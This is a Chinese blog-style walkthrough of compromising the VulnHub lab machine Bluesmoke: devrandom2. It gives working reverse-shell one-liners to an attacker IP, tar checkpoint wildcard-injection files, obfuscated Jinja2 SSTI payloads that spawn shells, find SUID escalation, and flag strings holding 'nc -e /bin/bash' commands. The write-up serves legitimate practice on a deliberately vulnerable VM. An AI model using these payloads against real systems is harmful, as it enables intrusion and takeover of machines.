准备:

攻击机:虚拟机kali、本机win10。

靶机:Bluesmoke: devrandom2,下载地址:https://download.vulnhub.com/bluesmoke/Bluesmoke.ova,下载后直接vbox打开即可。

知识点:ssti注入漏洞、shell反弹、ffuf扫描、tar通配符漏洞、私钥破解与登录、find提权、解密(base32、base64、hexdump、hex、bin)

一:信息收集

1.nmap扫描

使用nmap扫描下靶机地址,命令:nmap -sn 192.168.1.0/24,发现靶机地址:192.168.1.14。

使用nmap扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.1.14,显示开放了22端口、80端口,开启了ssh服务、http服务。

2.目录扫描

使用gobuster进行目录扫描,命令:gobuster dir -u http://192.168.1.14 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,发现了upload.php、/uploads文件夹等信息。顺带进行下二级目录扫描,在/uploads文件夹下只发现了index.php。

3.web服务

访问了下:http://192.168.1.14/index.php、http://192.168.1.14/uploads/index.php和http://192.168.1.14/upload.php,并检查下其源码信息,但是均未发现有用得信息 。

进行了下ffuf扫描,去探测请求参数,但是也未发现存在可以利用得参数。

二:分析与获取shell

1.tar通配符漏洞

访问web服务时其页面显示会对我们提交的tar和zip文件进行检查并提交到备份系统:Please upload your TAR / ZIP File. We will check the files and add it to our backup system。因此猜测靶机会将我们上传的tar文件进行解压然后检查我们的文件,检查完之后在压缩成tar后上传到备份系统。关于tar命令存在一个和通配符有关的漏洞,之前利用过tar通配符进行提权。该漏洞就是当使用通配符压缩文件时,会将*替换成目录下的文件名称,因此我们可以在shell反弹脚本的同目录下添加以下两个文件:--checkpoint=1、--checkpoint-action=exec=sh upfine.shell,这样当我们执行压缩的时候就可以执行我们的脚本信息。下面是在kali中执行的压缩,可以看到反弹shell脚本可以正常执行,因此我么将该文件:upfine.tar上传至靶机。

#upfine.shell内容
bash -c "bash -i >&/dev/tcp/192.168.1.12/6688 0>&1"
#文件建立
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh upfine.shell"

2.获取shell

但是上传靶机之后shell一直未反弹成功,后来压缩语句不采用通配符压缩就可以正常反弹shell权限了,压缩命令:tar cvf upfine.tar ./upfine.shell ./'--checkpoint=1' ./'--checkpoint-action=exec=sh upfine.shell'。

获得shell权限后在/home/backupper目录下发现flag.txt,读取该文件成功获得flag值,flag经两次base64解密后得到:nc -e /bin/bash www.theworld.com 17722,暂时不知道有什么用,先记下来。

三:提权至jaap

1.私钥破解

首先查找下具有root权限的文件信息,命令:find / -perm -4000 -type f 2>/dev/null,但是未发现任何有用的信息。

然后又上了linpeas.sh、pspty64进行信息收集,但是仍是未发下可以利用的信息。后面查看了下/home/backupper/.ssh目录下的私钥:id_rsa,利用http服务将该文件下载下来进行爆破,成功获得密码信息:samantha1。注意开启web服务时使用:python -m SimpleHTTPServer 8000。

使用获得的密码信息尝试切换jaap账户和remnie账户,但是均切换失败。并且使用ssh协议登录backupper账户也是失败(右侧);

破解密码后想着使用sudo -l查看下可以使用的命令,但是显示sudo不存在。然后看着破解的这个密码比较简单,想着破解下另外账户的密码,但是破解失败,未获得密码信息。

2.生成公钥私钥进行登录

后来就在本地生成公钥和私钥,命令:ssh-keygen -f upfine,输入的密码:samantha1,成功获得公钥和私钥。

然后开启http服务,将公钥authorized_keys上传到靶机,这样就可以在本地使用私钥直接进行连接,不在需要通过文件上传来进行shell的获取。

3.提权至jaap

使用私钥登录到backupper账户的shell后,发现当我们尝试ssh连接jaap账户时:ssh jaap@localhost,只需要我们输入backupper账户的私钥密码:samantha1,当我们输入之后成功切换到jaap账户权限。

获得jaap账户权限后在/home/jaap目录下发现flag.txt,读取该文件获得flag值,对flag值进行两次base64解密得:nc -e /bin/bash www.theworld.com 777。

四:提权至remnie

1.remnie相关信息查找

获得jaap权限后,在/home/jaap/bin目录下发现一个具有特殊权限的文件:find,那就直接查找下find得提权方式,提权命令:./find . -exec /bin/sh -p \; -quit,直接输入执行。执行完之后查看其id信息发现返回得信息中多了一个egid=1002(remnie)。

先利用find查找下具有remnie账户权限的文件信息,命令:./find / -user remnie -type f 2>/dev/null,发现以下三个目录中存在和remnie账户相关的信息:/var/mail、/home/remnie、/opt/remnie。

然后依次去目录下查找下是否存在可以利用得信息,在/home/remnie目录下发现提示信息,告诉我们存在一个本地服务在等着我们,但是未告诉我们端口。

然后在/opt/remnie/scripts目录下发现start.sh文件是可读的,查看该文件信息并进行分析,发现该文件会读取/tmp/start文件的值并判断是否为1,然后查找server.py进程并决定是否开启该进程。

那我们就需要建立该文件并使其值为1,这里可以自己创建,也可以直接通过靶机中留下的/home/jaap/bin/startserver.sh文件来进行创建,这里就直接自己 创建了,命令:echo "1" > start,然后查看下该进程是否开启,命令:ps -ef | grep server,发现该进程已开启。

2.发现本地服务

使用命令:netstat -tulpn查看下本地开启的服务,发现:127.0.0.1:8787。

这里只允许本地访问,那我们将靶机的8787端口的流量转到本地kali的8787端口中,命令:ssh -L 8787:127.0.0.1:8787 backupper@192.168.1.14 -i upfine,8787服务可以成功访问。

3.ffuf扫描

继续对该web服务进行目录扫描、ffuf扫描,在ffuf扫描时发现参数名:name。

但是输入参数:name=/etc/passwd并未读取到/etc/passwd文件,而是直接返回了输入的信息,考虑到刚在在靶机中开启的是python服务,优先测试下ssti注入,当我们输入{{3*3}}时,返回参数9,确定这里存在ssti注入。

4.ssti实现shell反弹

找以下ssti漏洞可以利用的模板,先进行测试是否可以执行,然后将执行的命令替换为shell反弹语句并进行shell的反弹,成功获得remnie账户的shell。

#shell反弹语句
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("\142\141\163\150\40\55\143\40\47\142\141\163\150\40\55\151\40\76\46\40\57\144\145\166\57\164\143\160\57\61\71\62\56\61\66\70\56\61\56\61\62\57\70\70\71\71\40\60\76\46\61\47").read().zfill(417)}}{%endif%}{% endfor %}

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen(\"\142\141\163\150\40\55\143\40\47\142\141\163\150\40\55\151\40\76\46\40\57\144\145\166\57\164\143\160\57\61\71\62\56\61\66\70\56\61\56\61\62\57\70\70\71\71\40\60\76\46\61\47\").read()") }}{% endif %}{% endfor %}

#其中的编码数据是下面的语句,主要是&符号的问题,不编码无法执行
bash -c 'bash -i >& /dev/tcp/192.168.1.12/8899 0>&1'

获得remnie账户权限的shell后在/opt/remnie目录下发现flag.txt,读取该文件成功获得flag值。

五:提权至root

获得remnie账户权限后,去查看下之前发现的server.py和server.conf文件,server.py文件未发现可以进行利用的信息,访问server.conf时返回一组hash数据,使用:https://gchq.github.io/CyberChef这个网站依次进行hashdump->binary->hex->base32->base64,最终成功获得一组账户和密码信息:root/-!F8h2LMr<\[n]`N]Kq。

直接利用获得的root信息:root/-!F8h2LMr<\[n]`N]Kq在remnie账户的shell中切换至root账户,切换root账户后在/root目录下发现flag.txt,读取该文件成功获得flag值。

标签: none

添加新评论